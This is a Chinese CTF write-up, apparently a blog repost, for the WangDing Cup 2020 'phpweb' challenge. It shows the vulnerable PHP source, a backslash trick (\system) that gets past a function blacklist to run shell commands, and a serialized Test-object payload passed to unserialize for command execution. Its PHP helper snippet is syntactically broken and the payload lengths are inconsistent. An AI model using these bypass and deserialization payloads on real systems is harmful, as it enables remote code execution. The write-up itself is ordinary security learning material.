首页 > 编程语言 >[网鼎杯 2020 朱雀组]phpweb

[网鼎杯 2020 朱雀组]phpweb

时间:2023-11-03 21:45:30浏览次数:68  
标签:传参 序列化 REQUEST phpweb system flag 2020 func 网鼎杯

[BJDCTF2020]The mystery of ip

非预期

这题看着就不简单,页面总是刷新,报错都看不清,bp抓包看看。

bp抓到的包是一个用POST传参的传参的值为一个函数,试着修改一下这个函数,看看会有什么变化,输入system发现被过滤了,八成这个waf做得很完善,但正好之前看到一个骚姿势,可以使用\system,php在做代码执行的时候,会识别特殊字符串

可以发现已经可以执行system命令了,但是在根目录下面找不到flag

system(“find / -name flag”):查找所有文件名匹配flag的文件

直接获得flag

预期

highlight_file看一看我们的源码

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

过滤了很多的函数,但是可以尝试一下反序列化

<?php
  class Test{
     var p="ls /";
     var func="system";
     }
     <?php
echo serialize(new Test());
?>
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

然后就和上面那个一样了,如果不想用反序列化读取flag也可以使用readfile(/tmp/flagoefiu4r93)

标签:传参,序列化,REQUEST,phpweb,system,flag,2020,func,网鼎杯
From: https://www.cnblogs.com/B0like/p/17808556.html

相关文章

  • IntelliJ IDEA 2020.03 一下版本激活
    1.下载https://www.jetbrains.com/idea/download/other.html2.安装省略了一步步往下3.下载激活文件先下载激活文件链接:https://pan.baidu.com/s/1gfXCr8Htb3D-I7CW5ND41A?pwd=d86h提取码:d86h4.激活配置好jdk那些就不说了打开软件先点击试用30天进入后随便打开一个项目......
  • [MRCTF2020]Ez_bypass
    打开题目后得到源码,可以使用PHP代码在线格式化一下,方便阅读。源码如下。$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';if(isset($_GET['gg'])&&isset($_GET['id'])){$id=$_GET['id'];$gg=$_GET['gg'];if(md5($id)==......
  • [MRCTF2020]你传你呢
    打开题目如下。本题有坑点,就算是使用mspaint随意生成一个jpg图片进行上传,仍然提示:我扌yourproblem?。后面查看了wp,发现是对上传内容的大小存在限制。经尝试,使用php、phtml、php5等多种后缀都无法绕过检测,但可以上传.htaccess文件(.htaccess是Apache使用的一种配置......
  • 2020 CSPJ
     【20CSPJ普及组】优秀的拆分 直接用二进制处理,不断对2取余,除2,如果奇数,那肯定就是不行的#include<bits/stdc++.h>usingnamespacestd;constintmaxn=10100;constintINF=0x3fffffff;typedeflonglongLL;intn;inta[maxn];intmain(){ //二进制?? cin>>n; int......
  • NOMURA Programming Competition 2020 D Urban Planning
    考虑排列\(P_i\)已经固定了的情况,那么连边\(i\toP_i\)形成有向图\(G\),最小连边数就是\(N\)减去弱连通块数。善良的出题人已经告诉你连边方案就是\((N-1)^K\),所以答案就是\(N(N-1)^K\)减去所有连边方案中弱连通块数量总和。于是只需要考虑所有连边方案中弱连通块数量总......
  • 题解 P6560 [SBCOI2020] 时光的流逝
    题解P6560[SBCOI2020]时光的流逝首先考虑图上的点为\(y\)终点时,或者这个点无法继续向下走,即\(du_i=0\)时,从这个点为起点先手必败,而对于每一个有一条指向先手必败的点的边的点,显然从这个点出发都是先手必胜的,以此类推。可以考虑建反图,进行拓扑排序,转移状态。#include<q......
  • 2023.10.31 USACO 2020 选做.md
    P6009Non-DecreasingSubsequencesP由于值域很小,dp的转移不难想到写成矩阵的形式。考虑维护矩阵的前缀积和逆前缀积。然而单次的矩阵乘已经达到\(O(k^3)\)超时了,但是我们发现其实矩阵非\(0\)的位置是\(O(k)\)个的,所以复杂度降到了\(O(k^2)\).关于逆矩阵,我们无需高斯......
  • [ACTF2020 新生赛]BackupFile
    题目提示需要寻找备份文件。通过字典,找到后台存在一个名为:index.php.bak的文件,打开后源码如下:<?phpinclude_once"flag.php";if(isset($_GET['key'])){$key=$_GET['key']; //判断一:是否为数字,此处无法绕过if(!is_numeric($key)){exit("Justnum......
  • [BJDCTF2020]Easy MD5
    打开题目,发现是一个输入框,抓响应包后发现存在如下提示:Hint:select*from'admin'wherepassword=md5($pass,true)。当PHP的md5()函数的第二个参数为True时,会将string转换为16字符的二进制格式,如使用一些特殊的$pass,则可以绕过以上SQL查询,如:ffifdyop,ffifdyop计算......
  • 国产芯片 —— 2023年龙芯最新的 3A6000 确实已经追上 2020年发布的 10代 i3酷睿
    看新闻:https://news.cnblogs.com/n/752564/         =============================================  性能测试对比图:(截取自:https://www.bilibili.com/video/BV14P41187M9/?vd_source=f1d0f27367a99104c397918f0cf362b7)     ......